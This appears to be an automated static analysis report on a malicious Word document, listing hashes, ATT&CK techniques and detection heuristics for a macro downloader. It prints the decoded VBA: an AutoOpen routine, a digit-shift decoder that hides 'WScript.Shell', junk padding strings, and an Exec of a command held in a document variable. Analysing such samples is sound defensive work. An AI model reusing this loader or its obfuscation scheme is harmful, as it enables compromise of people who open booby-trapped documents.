Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a6496e72aab8dbd…

MALICIOUS

Office (OLE)

135.0 KB Created: 2018-05-01 13:53:00 Authoring application: Microsoft Office Word First seen: 2018-12-09
MD5: a20ace60e27821ac0fdf58fc6fab59ac SHA-1: 89bde5999f44fad9a865e8e953747d2f1e495197 SHA-256: 5a6496e72aab8dbd8984ad663560c9b870297492f7757790f10de4d31ce9d654
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine that calls the ZE_HH function. This function uses CreateObject to instantiate an object and then executes a string obtained from ActiveDocument.Variables("WI_LL"). The obfuscated nature of the script and the use of CreateObject and execution functions strongly suggest it's designed to download and execute a second-stage payload. The presence of legacy WordBasic markers and obfuscated VBA code points to a downloader or initial access mechanism.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1835 bytes
SHA-256: fd7ecf45e30097087ae7e6f5ae6ef5a6ea242cb87f5368e6cb2c23dd30663ac9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function ZE_HH()
    Dim IW_HH As String
    IW_HH = "094122106121112119123053090111108115115"
    Dim R_WF As Object: Set R_WF = VBA.CreateObject(F_AE(IW_HH))
    Dim Q_VX As String
    Q_VX = "N9K3Y5N7U9M6C0V7X6K3X1Z2K3J5B5T8B0D3K5A2I2Z4K2O2K6H5B4S9W9V1Z8Y7H9U3M4K7"
    Dim SI_OO As String
    SI_OO = "S8W9V2P3Y8S6Z9U2B5E9P4U4L3I1R4R7K2U3K8C2I5P3D1K5T6U6N9N2P1D9V8E1G0R4S6U3"
    Dim ZI_MM As String
    ZI_MM = "P1B7Z2C5P0K8F5Z6A3G2S2V6L1T3M3K4P3F2T3E0H0Y7R5Y6G3U6D7T9B3S8L8E5V1P9P6E2"
    Dim F_ZB As String
    F_ZB = "Z8H4Y0K9X6O9Q1S7Y2Z1A3X4A0E0V1H8Z1O0S7Z9G9P9F8O1M4A3Y1F4S2Q0T0M1Q9K4Z2E0"
    Dim G_NS As String
    G_NS = "F9L9U0J2S9U1K5D6O7X2W0C3K0B4J8D9C5N3B7M7M6O5K5Y7X4A8D2L7T6S3C3V3H6G4V7I2"
    Dim V_MD As String
    V_MD = "A3Y7R6K1M3K8K9V4Q0B5W7V5H7F8J3Z2W8U2V4J2I0S4R8C2L3D5K6T9C0A6H3J7C8D8S6K7"
    Dim BA_MM As String
    BA_MM = "O2M0T1K4A5A0U2W9S5X0L1D7M6C2N0V3O4C9R1C6L3C6W6C7H4U2Y1V1R9C8T3N1R2L9H4J2"
    Dim B_XA As String
    B_XA = "R2Q7F4Q2F9X3W1I3Y9V8F5E6W0W9F5F4O7B4B9R0R4W7B3I8C4I9V9Q6W0Z3U4H8O7D7Z8Z6"
    Dim U_LO As String
    U_LO = "R7Y8I3U8C9N1U7E0T3D7L3Z4Z8N1C6J0N9A2E7W7O1S9Q7V3X6P0A7C8I7O7I6K0Z4M6V5C4"
    
    R_WF.Exec F_AE(ActiveDocument.Variables("WI_LL"))
End Function

Sub AutoOpen()
    Application.Run "ZE_HH"
    
End Sub

Public Function F_AE(ByVal N_FA As String)

    For U_KJ = 1 To Len(N_FA) Step 3
        X_VW = Mid(N_FA, U_KJ, 3)
        UE_JJ = UE_JJ + Chr(Int(X_VW) - 7)
    Next

F_AE = UE_JJ

End Function

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